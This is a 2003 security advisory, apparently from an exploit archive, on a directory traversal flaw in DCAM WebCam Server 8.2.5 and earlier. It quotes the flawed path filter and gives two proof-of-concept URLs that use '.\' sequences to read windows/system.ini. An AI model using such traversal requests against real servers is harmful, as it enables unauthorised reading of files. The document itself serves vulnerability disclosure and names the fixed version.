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dcamwebcam.txt

dcamwebcam.txt
Posted Dec 23, 2003
Authored by Luigi Auriemma | Site aluigi.altervista.org

DCAM webcam versions 8.2.5 and below suffer from a directory traversal attack that allow a remote attacker to access any file available to the webserver uid.

tags | exploit, remote
SHA-256 | 3100d7453b6443b31ae5e4981c57020c628cd6fe3e5be2d1e7ef034ab11dcc3e

dcamwebcam.txt

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#######################################################################

Luigi Auriemma

Application: DCAM WebCam server
http://www.hyperionx.com
http://sourceforge.net/projects/dcamserver/
Versions: <= 8.2.5
Platforms: Windows
Bug: Directory traversal bug
Risk: high
Exploitation: remote with browser
Date: 22 Dec 2003
Author: Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DCAM WebCam Server is an OpenSource program written in VisualBasic that
allows to capture live streaming video and to broadcast it on the web
through the built-in webserver.



#######################################################################

======
2) Bug
======


The webserver built into DCAM uses a protection to avoid the directory
traversal bug.
We can see it in Form1.frm:

...
880 page = Replace(page, "..", "")
881 page = Replace(page, "./", "")
882 page = Replace(page, "/.", "")
883 page = Replace(page, "//", "")
884 page = Replace(page, "\", "")
...

The problem happens when the attacker uses the pattern ".\" that
deceives the checks and allows him to see and download any file in the
remote system knowing the path.



#######################################################################

===========
3) The Code
===========


http://server/.\.\.\.\/windows/system.ini
http://server/.\.\.\.\.\.\.\.\.\.\/windows/system.ini



#######################################################################

======
4) Fix
======


Version 8.2.6


#######################################################################


---
Luigi Auriemma
http://aluigi.altervista.org
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